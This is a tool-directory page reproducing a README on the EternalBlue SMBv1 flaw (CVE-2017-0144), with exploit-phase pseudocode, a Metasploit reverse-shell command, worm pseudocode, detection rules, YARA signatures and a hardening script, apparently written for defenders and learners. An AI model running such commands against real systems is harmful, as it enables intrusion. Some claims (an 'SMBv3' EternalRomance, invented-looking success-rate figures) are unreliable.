Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Blackash-CVE-2017-0144 — CVE-2017-0144 | Kitploit
Tools/GitHubGitHub/firetemple/blackash-cve-2017-0144
Vulnerability AnalysisExploitationForensicsMalware AnalysisPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationCurated Resources
GitHubfiretemple/blackash-cve-2017-0144

Blackash-CVE-2017-0144

CVE-2017-0144

19 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 Remote Code Execution Vulnerability

EternalBlue

"One exploit. Dozens of malware families. Billions in damage."


🔍 One-line summary

CVE-2017-0144 is a critical remote code-execution vulnerability in the SMBv1 server implementation in Microsoft Windows. The exploit known as EternalBlue abused this hole and was used in high-impact attacks (notably WannaCry).


🔥 Top 10 Malware Using EternalBlue (Detailed)

#MalwareTypeFirst SeenActorDamageNotes
1WannaCryRansomwareMay 12, 2017Lazarus Group (DPRK)$4–8BKillswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2NotPetyaWiper (Posed as Ransomware)Jun 27, 2017Sandworm (Russia)$10B+Used Mimikatz + EternalBlue + PSEXEC
3Bad RabbitRansomwareOct 24, 2017Indrik SpiderRegionalFake Flash update drive-by
4UiwixRansomwareMay 2017UnknownLowNo killswitch, stealthier than WannaCry
5EternalRocksWormMay 2017UnknownMedium7 NSA tools (incl. DoublePulsar)
6AdylkuzzCryptominerMay 2017UnknownHigh (silent)Mined Monero before WannaCry
7RetefeBanking Trojan2017–2018UnknownEU BanksUsed EternalBlue for lateral movement
8TrickBotModular Malware2017–2021Wizard SpiderGlobalDropped Ryuk via EternalBlue
9EmotetLoader2017–2021TA542GlobalUsed as entry for Cobalt Strike
10Clop / DridexRansomware2019–2025TA505Healthcare, GovStill active in 2025

🧨 EternalBlue Exploit Evolution

eternelblue1
eternelblue2

🔍 How CVE-2017-0144 (EternalBlue) Was Exploited

A Step-by-Step Technical Deep Dive into the SMBv1 RCE

"One malformed packet. Full SYSTEM access. No login. No click."


🎯 TL;DR Exploit Flow

root@kitploit:~
[Attacker] 
   │
   ├──▶ Sends crafted SMBv1 **Trans2** request
   │       → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
   │
   ├──▶ Overwrites function pointers → **kernel shellcode**
   │
   └──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
           (e.g., WannaCry `mssecsvc.exe`)

🛠️ Prerequisites for Exploitation


🚀 Exploit Phases (7 Steps)

Phase 1: SMB Protocol Negotiation

root@kitploit:~
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed

Why? Confirms SMBv1 is active.


Phase 2: Tree Connect to IPC$

eternelblue3
root@kitploit:~
\\TARGET\IPC$ → Anonymous share for SMB pipes

Purpose: Establishes a session to send transaction requests.


Phase 3: Trans2 Session Setup (Primary)

  • Uses SMB_COM_TRANSACTION2 (0x32)
  • Subcommand: SESSION_SETUP
  • Sets up FEALIST structure with malformed size
root@kitploit:~
FEALIST {
    SizeOfListInBytes = 0xFFFF (or large value)
    ...
}

Bug Trigger: SrvOS2FeaListSizeToNt() trusts this size without bounds check.


Phase 4: Secondary Trans2 Request (Overflow)

  • Sends multiple secondary packets
  • Each contains oversized FEALIST + FEA (File Extended Attributes)
eternelblue4
root@kitploit:~
FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → Overflow buffer
}

Heap Spray: Allocates large chunks to control memory layout.


Phase 5: Buffer Overflow in Kernel

root@kitploit:~
srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // attacker-controlled
    PULONG pNtFeaListSize  // output pointer
)
{
    // No validation of FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // BOOM
}

Result:

  • Heap overflow → Overwrite adjacent kernel objects
  • Target: SRVNET_BUFFER or POOL_HEADER
  • Overwrite function pointers (e.g., Free routine)

Phase 6: Kernel Shellcode Execution

  • Attacker controls RIP/EIP via overwritten function pointer
  • Jumps to shellcode in non-paged pool

Shellcode Does:

  1. Ring-0 → Ring-3 transition (via KeUserModeCallback)
  2. Allocates user-mode memory
  3. Downloads/stages payload (e.g., mssecsvc.exe)
  4. Installs DoublePulsar backdoor

Phase 7: DoublePulsar Backdoor Implant

eternelblue6
  • Injects kernel driver (0x00120034 XOR key)
  • Listens for magic SMB packets:
    • Ping: 0x0002C001
    • Exec: 0x0002C002 + payload

WannaCry Example:

root@kitploit:~
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files

🧨 Exploit Packet Structure (Simplified)

root@kitploit:~
SMB Header
└── Command: 0x32 (TRANSACTION2)
    └── Setup: 0x000E (SESSION_SETUP)
        └── Parameter: TotalDataCount = 0x1000
            └── Data: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → Spray heap
                [OVERFLOW] → Overwrite pool
                [SHELLCODE] → x64 ring0

🛠️ Real Exploit Tools

Metasploit Example

root@kitploit:~
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

🔬 Memory Forensics Evidence


🛡️ Detection Rules

Snort/Suricata

root@kitploit:~
alert tcp any any -> $HOME_NET 445 (
    msg:"ETERNALBLUE Attempt";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

Zeek (Bro)

root@kitploit:~
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

🔄 Worm Propagation (WannaCry Loop)

root@kitploit:~
while (true) {
    Scan network for port 445
    if (open) → EternalBlue exploit
    if (success) → Drop mssecsvc.exe + propagate
    Sleep(random(1000, 5000))
}

Spread Speed: ~10,000 infections/hour globally.


🛑 Why It Worked So Well


🎯 Exploit Success Rate (2017–2025)

YearSuccess % (Unpatched)
201799%
202085%
2025~60% (legacy only)

Still works on Windows 7/2008 R2 without MS17-010


📚 References

  • Microsoft MS17-010
  • RiskSense EternalBlue Analysis
  • Metasploit Module
  • NSA FuzzBunch Leak

⚡ Final Summary: How It Was Exploited

EternalBlue = Weaponized Math Error
A trusted size field in SMB → kernel heap overflow → arbitrary code → global ransomware pandemic

root@kitploit:~
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware

Visualized, dissected, and battle-tested. For pentesters, IR teams, and defenders.

"One packet. One port. One empire falls."


🛡️ Patch & Detection Matrix


🔍 YARA Rules (Top 3 Malware)

1. WannaCry

Wana_Decrypt0r_screenshot
root@kitploit:~
rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

2. NotPetya

Petya A
root@kitploit:~
rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

3. EternalBlue Exploit Packet

nessus1 nessus2
root@kitploit:~
rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

📊 2025 Status: Still Active?


🛑 Kill Chain (MITRE ATT&CK)


🛠️ Full Remediation Script (PowerShell)

root@kitploit:~
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan

# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }

Write-Host "Reboot required. Run as Admin."

📚 References & Sources


⚡ Final Word (2025)

CVE-2017-0144 is not dead — it’s a legacy zombie.
It thrives in:

  • Unpatched Windows 7/2008
  • Shadow IT
  • Air-gapped critical systems
  • Misconfigured cloud VMs

If you can ping port 445 from the internet — you’re next.


Built with precision, visuals, and real-world threat intel. Updated Nov 2025.
For pentest labs, IR playbooks, or CISO briefings.


"Patch it. Block it. Kill it with fire."

Download Tool
ToolReleaseFeatures
EternalBlue (Original)Apr 2017 (Shadow Brokers)SMBv1 RCE
DoublePulsarApr 2017Backdoor implant (ring0)
EternalRomanceApr 2017SMBv3 variant
EternalChampionApr 2017Alternative SMB path
Metasploit ModuleMay 2017exploit/windows/smb/ms17_010_eternalblue
FuzzBunchApr 2017NSA exploit framework
Impacket + PSEXEC2017–2025Python SMB exploitation
RequirementDetails
TargetWindows with SMBv1 enabled (default pre-Win10)
Port Open445/TCP (or 139/TCP via NetBIOS)
No AuthUnauthenticated — no username/password needed
Architecturex86 or x64 (both supported)
Patch StatusUnpatched (pre-MS17-010)
ToolLanguageModule
MetasploitRubyexploit/windows/smb/ms17_010_eternalblue
ImpacketPythonsmbclient.py, psexec.py
FuzzBunchPython (NSA)EternalBlue-2.2.0
Custom C2C/C++WannaCry, NotPetya
ArtifactLocationValue
DoublePulsarKernel memoryXOR key 0x00120034
Shellcodesrvnet.sys pool0xCC 0x90 0x48 pattern
Injected DLLC:\Windows\mssecsvc.exeSHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
FactorReason
No AuthSMBv1 allows anonymous IPC$
WormableBuilt-in LAN scanning
Kernel RCEBypasses AV/user prompts
Legacy SMBv1Enabled by default for 15+ years
Unpatched SystemsXP, 2003, 7 in critical infrastructure
OSKB PatchDisable SMBv1Nmap Script
Windows 7 / 2008 R2KB4012212sc config lanmanworkstation depend= bowser/mrxsmb20/nsismb-vuln-ms17-010.nse
Windows 10KB4013429PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Windows XP (EOL)KB4012598 (Emergency)Registry: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0
MetricStatus
Shodan Exposed SMBv1~1.2 million (Nov 2025)
Active Exploits (Honeypots)Daily
Ransomware Using ItClop, LockBit (legacy targets)
Most VulnerableHealthcare, Manufacturing, SMBs
Zero Trust FixBlock 445, enforce MFA, EDR
PhaseTechniqueID
Initial AccessExploit Public AppT1190
ExecutionWindows SMB RCET1210
PersistenceBackdoor via DoublePulsarT1505.003
Lateral MovementSMB/Windows Admin SharesT1021.002
ImpactData Encrypted for ImpactT1486
SourceLink
NVDnvd.nist.gov/vuln/detail/CVE-2017-0144
Microsoft MS17-010msrc.microsoft.com/update-guide
MITRE ATT&CKattack.mitre.org/techniques/T1210
CrowdStrike WannaCry Reportcrowdstrike.com/blog/wannacry
Kaspersky EternalBluekaspersky.com/blog/wannacry-ransomware
Shodan Searchshodan.io/search?query=port%3A445+os%3A%22Windows%22